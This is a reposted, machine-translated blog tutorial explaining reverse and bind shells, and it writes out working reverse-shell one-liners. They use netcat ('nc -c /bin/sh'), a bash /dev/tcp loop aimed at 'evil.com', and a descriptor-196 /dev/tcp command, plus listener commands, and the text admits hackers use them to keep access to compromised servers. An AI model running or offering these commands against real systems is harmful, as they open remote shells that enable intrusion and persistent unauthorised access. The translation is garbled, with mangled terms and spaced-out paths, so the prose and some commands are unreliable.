Reverse shell

Reverse shell (shell Reverse) transmission technique is a shell command to a remote machine, the remote machine when in the firewall behind the other things, this technique can be very useful. You might say, "a common shell or SSH channel simply can not achieve this?" No, can not be achieved. Online, I see a lot of people on the difference between the ordinary and reverse shell shell can not tell. Before beginning the following content we first clarify these concepts. 1. Reverse Shell (Reverse Shell) reverse shell works by remote computer sends its shell to a specific user, rather than be tied to a shell port. The latter in many environments is not accessible. In this way, you can run root commands on a remote server. Shell the Bind 2. the bind user with BSAH shell, shell bind to a local port, so that anyone can send a command in the local network. After the reverse shell is often used by hackers to do some wrongdoing, such as the invasion of a server, they will set up a reverse shell, in the future they will be able to easily access this remote computer through the shell. I believe that you will not use it for this kind of thing. 3. Environmental Requirements remote Unix host installed netcat 4. Use NetCat achieve reverse shell interaction when to log on to a remote host via shell, the following command can easily send the shell to your machine: # nc -c / bin / sh <your IP> <not blocked any port> you can even netcat to pipe BASH. # / Bin / sh | nc <your IP> <not blocked any port> and then listens for the shell: # nc -p <port the same> the -l -vvv 5. achieved by reverse shell BASH This technique is not netcat or when you want to do some unnatural things and do not want to use too leaving traces on the remote machine. Monitor shell: # nc -l -p <not blocked any port> -vvv create a new descriptor is assigned to a network node. So that we can read and write to this descriptor. # Exec 5 <> / dev / tcp / evil.com / < the same port> $ cat <& 5 | while read line; do $ line 2> & 5> & 5; done or otherwise a reverse shell: # 0 <& 196; exec 196 <> / dev / tcp / < your IP> / <the same port>; sh <& 196> & 196 2> & 196 create-reverse-shell so you can easily be sent by any command netcat. Transfer from http://www.aqee.net/create-reverse-shell-to-remotely-execute-root-commands-using-netcat-or-bash/

Reproduced in: https: //my.oschina.net/766/blog/211114

Guess you like

Origin blog.csdn.net/weixin_34162228/article/details/91492992